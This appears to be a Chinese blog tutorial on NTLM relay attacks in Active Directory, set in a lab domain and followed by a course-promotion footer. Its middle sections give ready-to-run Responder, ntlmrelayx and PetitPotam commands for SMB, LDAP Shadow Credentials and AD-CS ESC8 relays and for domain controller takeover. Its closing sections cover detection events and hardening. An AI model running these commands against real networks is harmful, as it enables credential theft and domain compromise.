NTLM Relay 中继攻击完整实战｜多种场景、绕过限制、防御手段

🔒免责声明：本文所有技术内容仅供授权红蓝对抗、渗透测试学习研究，禁止在未授权企业内网、生产域环境执行中继、欺骗、强制认证等攻击操作，未授权访问属于违法行为。全部演示均基于本地搭建 AD 域靶场环境，请勿对真实业务系统复现。

摘要
NTLM Relay（NTLM 中继）是内网 AD 域渗透中最经典、杀伤力极强的中间人攻击技术，区别于哈希传递 PtH：中继攻击不需要拿到明文密码、不需要爆破 Net‑NTLM 哈希，直接把受害者的 NTLM 认证数据包转发到目标服务器，借用受害者身份完成登录认证。

很多初学者容易混淆 NTLM 中继、哈希传递、Kerberoasting 三者，经常搞不清中继生效条件、SMB 签名限制、LDAP 中继、PetitPotam 强制认证、Shadow Credentials 影子凭证利用，同时对现代 Windows 环境下的绕过手段、蓝队防御加固理解片面。

本文从 NTLM 协议挑战应答机制底层讲起，完整拆解 NTLM‑Relay 攻击原理、核心前置条件、四大实战攻击场景（SMB 中继、HTTP 中继、LDAP 中继、AD‑CS 中继）、Responder+ntlmrelayx 完整实操复现、强制认证手段、常见限制绕过、事件日志检测、全套防御加固方案。读完本篇可以完整掌握中继攻击全链路，理解为什么部分环境中继失效，同时掌握蓝队排查加固思路。适合内网渗透初学者、红蓝对抗人员、安全运维工程师阅读。

1. NTLM 协议基础：挑战‑应答机制，为什么可以被中继

NTLM 是 Windows 传统身份认证协议，分为 NTLMv1、NTLMv2，采用挑战‑应答 Challenge‑Response模式，认证全程不会直接传输用户明文密码。

1.1 NTLM 完整认证流程

1. 客户端向服务端发送 Negotiate 协商包，声明支持 NTLM 版本、能力；
2. 服务端返回 Challenge 随机 8 字节挑战值；
3. 客户端使用用户密码 NTLM 哈希加密这个 Challenge，生成 Net‑NTLM Response（Net‑NTLM 哈希），发送给服务端；
4. 服务端取出用户 NTLM 哈希，复现加密计算，比对 Response 是否一致；
5. 比对一致则认证通过，建立会话。

关键点：Net‑NTLM Response 是针对本次随机 Challenge 生成的应答，这个应答本身可以被转发复用。NTLM 协议早期设计没有将认证应答与原始目标 IP 做强绑定，这就是中继攻击的根源缺陷。

1.2 Net‑NTLM 哈希和 NTLM 哈希区分（高频混淆点）

• NTLM Hash（NTHash）：用户密码直接哈希结果，固定不变，用于哈希传递 PtH；
• Net‑NTLM Hash：客户端收到服务端随机 Challenge 之后加密生成的应答，每一次认证都不一样，可以被中继转发，但不能直接拿来做哈希传递 PtH，只能中继使用。

很多新手踩坑：抓到 Net‑NTLM 直接拿去 hashcat 爆破，爆破出密码可以用；但不能直接复制这个哈希去 PtH 登录。

1.3 SMB 签名（SMB Signing）核心概念

SMB 签名是对抗 SMB 中继最重要安全机制。

• SMB 签名：通信数据包附加数字签名，校验数据包来源是否真实，防止中间人篡改、转发数据包Microsoft …。
• 模式分为：协商启用、强制要求。
• 协商启用：客户端服务端两边都支持签名才开启；只要一方不支持，就不签名，依旧可以中继。
• 强制要求 RequireSecuritySignature：必须签名，没有签名数据包直接拒绝，SMB 中继彻底失效。

Windows 域控制器默认强制 SMB 签名；普通工作站、服务器默认是协商启用，不强制，这就是普通机器可以被 SMB 中继的原因Microsoft …。

2. NTLM Relay 攻击完整原理通俗拆解

NTLM 中继攻击者处于中间人位置，扮演 “转发代理” 角色。

1. 欺骗受害者，让受害者向攻击者机器发起 NTLM 认证；
2. 攻击者接收受害者发来的 NTLM 协商包、应答包；
3. 原封不动把整套 NTLM 认证流量转发给真正的目标服务器；
4. 目标服务器校验 NTLM 应答成功，认为登录者是受害者账号；
5. 攻击者就拥有受害者账号在目标机器上全部权限。

通俗比喻：A（受害者）把门禁应答交给中间人 Attacker；中间人拿着这个应答，跑到 B（目标服务器）门口刷门禁；B 校验应答有效，直接放行中间人，中间人借用 A 的身份进入系统。

⚠️重要：中继攻击成功之后，攻击者拥有受害者账号权限。如果受害者是普通域用户，拿到普通用户权限；如果受害者是机器账号、域管理员账号，直接拿到高权限。

中继攻击两大实现路径

1. 名称解析投毒：LLMNR/NBT‑NS/mDNS 欺骗，内网广播投毒，诱导受害者主动连接攻击者 IP；
2. 强制认证 Coercion：不做投毒，利用 Windows 协议漏洞 / 特性，强制远程机器主动向攻击者 IP 发起认证，代表技术 PetitPotam。

3. 中继攻击生效的硬性前置条件

中继不是万能，必须全部满足条件才可以成功，很多复现失败就是条件不满足：

1. 目标服务器没有开启强制 SMB 签名（SMB 中继场景）；强制签名直接拒绝中继数据包；
2. 受害者和目标支持 NTLM 认证，不能仅允许 Kerberos；
3. 攻击者机器可以同时和受害者、目标服务器网络互通；
4. 跨协议中继时两端协议支持 NTLM 集成认证（HTTP‑>SMB，HTTP‑>LDAP）；
5. LDAP 中继场景：目标域控没有开启 LDAP 签名、通道绑定 Channel Binding；
6. AD‑CS 中继：Web 注册服务没有开启 EPA 扩展身份验证保护；
7. 受害者账号在目标机器拥有对应访问权限。

注意：域控默认强制 SMB 签名，所以直接 SMB 中继到域控 SMB 服务默认失败；但是 LDAP 端口 389 没有强制签名时，可以 LDAP 中继到域控执行影子凭证。

4. NTLM Relay 四大攻击应用场景详解

场景 1：SMB 中继（最经典）

• 流量来源：SMB 协议认证；
• 转发目标：另一台机器 SMB 服务；
• 攻击结果：如果受害者是目标机器本地管理员，可 dump SAM、执行命令、读取共享文件；
• 限制：目标机器不能强制 SMB 签名；域控默认无法 SMB 中继。

场景 2：跨协议中继 HTTP → SMB / HTTP → LDAP

受害者访问攻击者构造的 HTTP 页面，弹出 NTLM 身份认证；攻击者拿到 HTTP 的 NTLM 认证，转发到 SMB 或者 LDAP 服务。

重点：协议可以不一样，只要 NTLMSSP 数据包格式兼容，就可以跨协议中继，这也是 ntlmrelayx 核心能力。

场景 3：LDAP 中继（高危害，现代内网重点利用）

将 NTLM 认证中继到域控 389 端口 LDAP 服务；
如果中继成功，攻击者以受害者账号身份操作 LDAP；如果受害者是机器账号，可写入Shadow‑Credentials 影子凭证，给机器账号添加证书，后续拿到域控权限，不需要 DCSync、不需要 krbtgt 哈希。
限制：域控没有开启 LDAP 签名和通道绑定保护。

场景 4：AD‑CS 中继 ESC8

中继 NTLM 认证到 AD‑CS 证书服务 Web 注册接口，滥用 ESC8 漏洞，以受害者身份申请证书，再使用证书进行 Kerberos 认证，获取权限。
限制：服务没有开启 EPA 扩展身份验证。

5. 靶场环境准备与工具环境部署

靶场环境：
域环境 corp.local
域控 DC01：192.168.10.10（开启 LDAP，未强制 LDAP 通道绑定；SMB 强制签名）
普通域机器 PC01：192.168.10.20（SMB 签名协商，非强制，可中继）
攻击机 Kali：192.168.10.100，Impacket 全套工具、Responder。

工具说明

1. Responder：LLMNR、NBT‑NS、mDNS 名称解析欺骗工具，欺骗内网主机把解析流量导向攻击机；
2. ntlmrelayx.py：Impacket 套件中继核心工具，接收 NTLM 认证流量，转发至目标，中继完成后执行后续攻击动作（dump SAM、添加影子凭证等）；

注意：Responder 和 ntlmrelayx 端口冲突，使用中继模式时，Responder 关闭 SMB、HTTP 服务，由 ntlmrelayx 监听对应端口。

环境安装

# 更新impacket，建议使用最新版本，支持--shadow‑credentials等参数 pip3 install impacket --upgrade git clone https://github.com/lgandx/Responder.git

6. 场景一：LLMNR/NBT‑NS 投毒 + SMB 中继完整复现

攻击目标：内网 PC01（192.168.10.20），未强制 SMB 签名；当内网用户访问一个不存在的 SMB 共享，DNS 解析失败后，Windows 会广播 LLMNR/NBT‑NS 查询，Responder 进行投毒，让受害者向攻击机进行 SMB 认证，ntlmrelayx 将认证中继到 PC01。

步骤 1：启动 Responder，关闭 SMB、HTTP 服务（交给 ntlmrelayx 接管）

修改 Responder 配置文件Responder.conf

SMB = Off HTTP = Off HTTPS = Off

只保留 LLMNR、NBT‑NS、mDNS 开启，负责名称投毒。

python3 Responder.py -I eth0

步骤 2：开启 ntlmrelayx，中继目标指向 PC01，开启 smb2 支持

impacket‑ntlmrelayx.py -t smb://192.168.10.20 -smb2support

参数说明：

• -t指定中继目标地址；
• -smb2support支持 SMB2/3，现代 Windows 必须带上该参数，否则中继失败。

ntlmrelayx 会监听本机 SMB、HTTP 端口，接收受害者发送过来的 NTLM 认证包。

步骤 3：触发受害者主机认证

在受害者机器上访问一个不存在的 SMB 路径，例如\\fakeTestShare，DNS 解析失败，触发 LLMNR 广播。Responder 投毒，回复解析结果为攻击机 IP。受害者主动向攻击机发起 SMB NTLM 认证。

步骤 4：中继执行结果

ntlmrelayx 收到 NTLM 认证，将整套认证中继转发给目标 PC01。

• 如果受害者账号在 PC01 具备本地管理员权限，ntlmrelayx 会自动 dump SAM 本地账号哈希；
• 同时开启交互式 shell，可执行系统命令；
• 如果权限不足，会提示 access denied。

现象：攻击机终端打印 relay success，导出 sam 哈希保存到本地文件。

重要限制：如果目标机器开启强制 SMB 签名，中继直接返回失败。域控默认强制 SMB 签名，smb://dc_ip 中继域控会失败。

7. 场景二：HTTP 到 SMB、HTTP 到 LDAP 跨协议中继实战

NTLM 支持跨协议中继，受害者访问攻击者的 HTTP 服务，浏览器弹出 Windows 集成 NTLM 认证，拿到认证之后，转发给 SMB 或者 LDAP 服务。

HTTP‑>SMB

impacket‑ntlmrelayx.py -t smb://192.168.10.20 -smb2support

受害者浏览器访问http://攻击机ip，触发 NTLM 弹窗认证，用户输入账号密码之后，认证包被中继到目标 SMB。

HTTP‑>LDAP（指向域控）

impacket‑ntlmrelayx.py -t ldap://192.168.10.10

前提条件：域控 LDAP 没有启用 LDAP 签名、通道绑定保护，否则中继失败。

8. 场景三：LDAP 中继，Shadow‑Credentials 影子凭证提权

LDAP 中继是现代红队重点技术，不需要攻破 SMB 签名限制。域控 SMB 强制签名，但 389 端口 LDAP 如果没有开启通道绑定，就可以执行 LDAP 中继。

如果被中继的身份是域内机器账号，就可以通过 LDAP 写入 Shadow‑Credentials 属性，为该机器账号添加证书；后续利用证书拿到该机器权限，如果是域控机器账号，直接获取域控权限，拿下整个 AD 域。

完整命令（PetitPotam 配合 ntlmrelayx）

# ntlmrelayx监听，中继目标是域控ldap，开启影子凭证模块 impacket‑ntlmrelayx.py -t ldap://192.168.10.10 --shadow‑credentials --remove‑mic --smb2support

参数说明：

• --shadow‑credentials：中继成功后自动写入影子凭证；
• --remove‑mic：移除 MIC 完整性校验，绕过部分校验限制；

当域控机器账号向攻击机完成 NTLM 认证，认证被中继到 ldap，自动给 DC 机器账号写入影子凭证，输出生成的证书 pem 文件。拿到证书后使用 gettgtpkinit.py 获取 TGT 票据，完成域控接管。

风险提示：该操作会修改 AD 对象属性，红蓝对抗测试结束务必清理影子凭证，残留会造成持久化后门。

9. 场景四：AD‑CS 中继，ESC8 证书滥用

ESC8 漏洞原理：NTLM 中继到 AD‑CS 证书服务 Web 注册接口，以受害者身份申请用户证书，使用证书进行 Kerberos 认证。
前提条件：AD‑CS 服务没有开启 EPA 扩展身份验证保护。

ntlmrelayx 命令示例：

impacket‑ntlmrelayx.py -t http://192.168.10.10/certsrv/ -smb2support

中继成功后，工具自动申请证书，输出 pfx 证书文件。

10. PetitPotam：无投毒，强制机器账号向攻击者认证

传统 LLMNR 投毒依赖内网广播，需要受害者主动触发访问不存在共享；PetitPotam 可以强制远程 Windows 主机（包括域控）主动向攻击者 IP 发起 NTLM 认证，不需要用户交互，不需要广播欺骗。

原理：滥用 MS‑EFSRPC 协议接口，调用 EfsRpcOpenFileRaw 函数，强制目标机器访问攻击者指定 UNC 路径，触发机器账号的 NTLM 认证。

注意：PetitPotam 不是漏洞，是协议特性；高版本 Windows 已经打补丁限制该行为。

使用示例

攻击机已经开启 ntlmrelayx 监听；另一终端执行 PetitPotam：

python3 PetitPotam.py 192.168.10.100 192.168.10.10

参数：攻击机 IP，目标机器 IP；强制目标机器（域控）向攻击机 SMB 发起认证。
此时域控机器账号的 NTLM 认证到达 ntlmrelayx，中继转发至 ldap，写入 Shadow‑Credentials 影子凭证，完成域提权。

攻击链路总结：PetitPotam 强制 DC 认证到攻击机 → ntlmrelayx 接收 DC 机器账号 NTLM → 中继到 ldap://DC → 添加 Shadow‑Credentials → 获取 DC 权限。

11. 中继攻击常见限制与实战绕过思路

限制 1：目标开启强制 SMB 签名，SMB 中继失效

绕过思路：放弃 SMB 协议，改用 LDAP 中继、AD‑CS ESC8 中继；LDAP 不受 SMB 签名控制。

限制 2：MIC 消息完整性校验导致中继失败

部分环境 NTLM 数据包带有 MIC 完整性校验，数据包转发后校验不通过直接拒绝。
ntlmrelayx 参数--remove‑mic，移除 MIC 字段，实现绕过；但是部分系统补丁之后该绕过失效。

限制 3：域控开启 LDAP 签名与通道绑定，LDAP 中继失效

该保护是微软官方防护手段，开启之后 LDAP 中继彻底失效，几乎没有简单绕过方式。

限制 4：AD‑CS 开启 EPA 扩展保护，ESC8 中继失效

EPA 保护 HTTP 集成 NTLM 认证，ESC8 无法中继，无简易绕过。

限制 5：Windows 补丁封堵 PetitPotam EfsRpc 接口

新版 Windows Server 关闭 EfsRpcOpenFileRaw 调用，PetitPotam 失效；可以寻找其他强制认证原语（PrinterBug 等）强制触发认证。

限制 6：Net‑NTLMv1 与 v2 差异

NTLMv1 应答更容易爆破；现代 Windows 默认使用 NTLMv2，爆破难度高，但依旧可以中继。中继不在乎 v1/v2 版本，只要应答合法就可以转发。

12. 红队实战工作流与真实内网利用思路

真实红蓝对抗中 NTLM 中继标准工作流：

1. 内网信息收集，扫描内网机器，识别哪些主机没有强制 SMB 签名；
2. 部署 Responder + ntlmrelayx，开启 SMB、LDAP 中继；
3. 方式 A：依靠内网 LLMNR/NBT‑NS 投毒，等待普通用户触发解析请求；
4. 方式 B：使用 PetitPotam/PrinterBug 强制域控、服务器机器账号向攻击机认证；
5. 优先尝试 LDAP 中继写入 Shadow‑Credentials；其次尝试 ESC8；普通工作站做 SMB 中继 dump SAM；
6. 获取凭证之后横向移动、权限维持。

实战经验：现代企业域控全部开启强制 SMB 签名，SMB 直接中继域控已经几乎不可能；LDAP 中继、ESC8 成为中继攻击主要利用方向。

13. 蓝队视角：日志检测、特征分析

NTLM 中继攻击会留下系统事件日志，SIEM 可以配置告警规则。

SMB 中继相关事件 ID

1. 4624 登录成功事件：目标服务器出现异常来源的 NTLM 登录，登录账号是内网用户，但是登录来源 IP 不是正常业务客户端，是攻击者 IP；
2. 4625 登录失败：中继条件不满足时大量认证失败日志。

LDAP 中继事件

• 4662：LDAP 对象属性操作事件；当写入 Shadow‑Credentials 属性会触发 4662 日志；监控该事件，发现陌生客户端修改机器账号 Shadow‑Credentials 为高风险告警。

网络层面特征

1. 内网出现大量 LLMNR、NBT‑NS 广播包，对应 Responder 投毒行为；
2. 大量机器向同一个陌生攻击机 IP 发起 SMB/HTTP NTLM 认证；
3. 域控 LDAP 来自非业务 IP 的 NTLM 绑定请求。

检测工具思路

1. 批量扫描内网主机 SMB 签名配置，找出未强制签名风险主机；
2. 审计域控 LDAP 通道绑定、EPA 配置状态；
3. 定期巡检 AD 中机器账号 Shadow‑Credentials 属性，发现异常证书数据。

14. 全套防御加固方案（组策略 + 注册表 + 系统配置）

NTLM 中继防御是多层防护，单一配置无法完全阻断，需要组合配置。

加固 1：全部主机强制启用 SMB 签名（阻断 SMB 中继）

组策略路径：
计算机配置 → 策略 → Windows设置 → 安全设置 → 本地策略 → 安全选项

1. Microsoft 网络客户端：对通信进行数字签名（始终） → 启用
2. Microsoft 网络服务器：对通信进行数字签名（始终） → 启用

PowerShell 命令本地配置：

Set‑SmbClientConfiguration -RequireSecuritySignature $true -Force Set‑SmbServerConfiguration -RequireSecuritySignature $true -Force

注意：全部工作站、服务器都要配置，不仅仅域控；只配置域控普通服务器依旧会被 SMB 中继攻击。

加固 2：域控启用 LDAP 签名与 LDAP 通道绑定（阻断 LDAP 中继、影子凭证中继）

域控制器组策略配置：启用 LDAP 服务器签名要求；开启通道绑定保护。开启之后 389 端口 LDAP NTLM 中继直接拒绝。

加固 3：AD‑CS 证书服务器开启 EPA 扩展身份验证保护，防护 ESC8 中继

IIS 站点 certsrv 应用程序，开启扩展保护身份验证 EPA，防护 HTTP NTLM 中继。

加固 4：关闭 LLMNR、NBT‑NS 协议，阻断名称投毒

组策略关闭 LLMNR；防火墙拦截 UDP 137/138 NBT‑NS 流量，从源头阻止 Responder 广播投毒。

加固 5：限制 NTLM 协议使用，优先 Kerberos

使用组策略 Restrict NTLM，审计 NTLM 流量，逐步限制、禁止 NTLM，优先使用 Kerberos 身份认证。

加固 6：系统更新，打全安全补丁

修复 PetitPotam 等强制认证原语对应的协议接口，阻止攻击者强制机器账号对外认证。

加固 7：网络边界防护

内网防火墙限制不必要出站 SMB（445）访问陌生内网 IP，限制机器账号随意向外发起 SMB 连接。

15. 高频误区与踩坑排错总结

1. 误区：拿到 Net‑NTLM 应答哈希，可以直接哈希传递 PtH 登录
   错误。Net‑NTLM Response 是针对单次 Challenge 的应答，只能中继转发，不能直接 PtH；只可以拿来 hashcat 爆破出明文密码。
2. 误区：SMB 中继可以直接中继域控
   默认失败，域控强制 SMB 签名；可以改用 LDAP 中继（LDAP 389）。
3. 误区：开启协商 SMB 签名就可以防御中继
   错误，协商签名只有两端同时支持才启用；攻击者可以在协商阶段拒绝签名，协商模式无法防御中继，必须配置 “始终” 强制签名。
4. 误区：Responder 打开 SMB 同时打开 ntlmrelayx
   端口冲突，会直接报错。使用中继场景 Responder.conf 必须关闭 SMB、HTTP 服务，交由 ntlmrelayx 监听端口。
5. 中继成功但是权限不足，dump 不出 SAM
   受害者账号不是目标机器本地管理员，中继登录成功但是权限不够，属于正常现象。中继得到的权限完全等于受害者账号权限。
6. PetitPotam 执行成功但是 ntlmrelayx 没有收到认证
   检查防火墙 445 端口；攻击机防火墙放行入站 SMB；确认 impacket 版本足够新；确认目标没有打补丁限制 EfsRpc 接口。
7. LDAP 中继执行 Shadow‑Credentials 失败
   确认域控没有开启 LDAP 签名和通道绑定；确认被中继账号是机器账号；确认使用参数 --remove‑mic。

16. 学习总结

NTLM Relay 中继攻击是内网 AD 域渗透中威力巨大的中间人攻击，核心逻辑：不爆破密码，转发 NTLM 挑战应答数据包，借用受害者身份登录目标服务器。

1. 基础概念区分：NTLM 哈希用于 PtH；Net‑NTLM 应答用于中继；SMB 签名是 SMB 中继的核心防护。
2. 四大场景：SMB 中继、跨协议 HTTP 中继、LDAP 中继写影子凭证、AD‑CS ESC8 证书中继；现代环境 LDAP 中继、ESC8 是主要攻击手段。
3. 攻击两种触发模式：LLMNR/NBT‑NS 广播投毒；PetitPotam 等强制认证原语，无需用户交互。
4. 生效硬性条件：目标不能强制对应协议签名保护；域控 SMB 强制签名，SMB 中继域控默认失败。
5. 防御多层组合：全主机强制 SMB 签名；域控开启 LDAP 签名 + 通道绑定；AD‑CS 开启 EPA；关闭 LLMNR/NBT‑NS；限制 NTLM 协议；系统打补丁。
6. 检测思路：监控 4624 登录事件、4662 LDAP 属性修改事件，监控内网 LLMNR 广播流量。

再次提醒：中继、名称投毒、强制认证技术，仅限授权靶场、授权红蓝对抗环境使用，严禁在未授权生产网络执行。

最后

网络安全需要学习那些知识

网络安全零基础入门学习路线&规划

初级
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）

恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k

到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？

想要入坑黑客&网络安全的朋友，给大家准备了一份：282G全网最全的网络安全资料包免费领取！

7、脚本编程（初级/中级/高级）
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.

零基础入门，建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习； 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime； ·Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完； ·用Python编写漏洞的exp,然后写一个简单的网络爬虫； ·PHP基本语法学习并书写一个简单的博客系统； 熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)； ·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远，就不展开细说了，贴一个大概的路线。

网络安全工程师企业级学习路线

视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。

一些我自己买的、其他平台白嫖不到的视频教程：

要学习网安其实不难，难的是坚持和相信自己，我的经验是既然已经选定网安你就要相信它，相信它能成为你日后进阶的高效渠道，这样自己才会更有信念去学习，才能在碰到困难的时候坚持下去。

机会属于有准备的人，这是一个实力的时代。人和人之间的差距不在于智商，而在于如何利用业余时间，只要你想学习，什么时候开始都不晚，不要担心这担心那，你只需努力，剩下的交给时间！

这份完整版的学习资料已经上传CSDN，朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】